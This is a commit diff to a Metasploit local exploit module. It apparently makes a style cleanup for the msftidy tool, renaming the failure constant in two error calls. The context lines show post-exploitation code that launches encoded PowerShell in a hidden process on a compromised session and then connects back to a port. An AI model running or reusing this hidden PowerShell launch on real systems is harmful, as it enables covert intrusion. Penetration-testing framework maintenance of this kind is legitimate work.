Updated tools/msftidy.rb issues

bug/bundler_fix
benpturner 2015-04-20 16:03:34 +01:00
parent ead57849f2
commit d9d8451b9f
1 changed files with 2 additions and 4 deletions

View File

@ -87,9 +87,7 @@ class Metasploit3 < Msf::Exploit::Local
script = compress_script(script_in) script = compress_script(script_in)
res = session.sys.process.execute("powershell -nop -e #{script}", nil, 'Hidden' => true, 'Channelized' => false) res = session.sys.process.execute("powershell -nop -e #{script}", nil, 'Hidden' => true, 'Channelized' => false)
fail_with(Failure::Unknown,'Failed to start powershell process') unless res && res.pid
fail_with(Exploit::Failure::Unknown, 'Failed to start powershell process') unless res && res.pid
computer_name = session.sys.config.sysinfo['Computer'] computer_name = session.sys.config.sysinfo['Computer']
vprint_status("Started PowerShell on #{computer_name} - PID: #{res.pid}") vprint_status("Started PowerShell on #{computer_name} - PID: #{res.pid}")
print_status("Attemping to connect to #{rhost}:#{lport}...") print_status("Attemping to connect to #{rhost}:#{lport}...")
@ -125,7 +123,7 @@ class Metasploit3 < Msf::Exploit::Local
if last_error if last_error
raise last_error raise last_error
else else
fail_with(Exploit::Failure::Unknown, "Unable to connect") fail_with(Failure::Unknown, "Unable to connect")
end end
end end
end end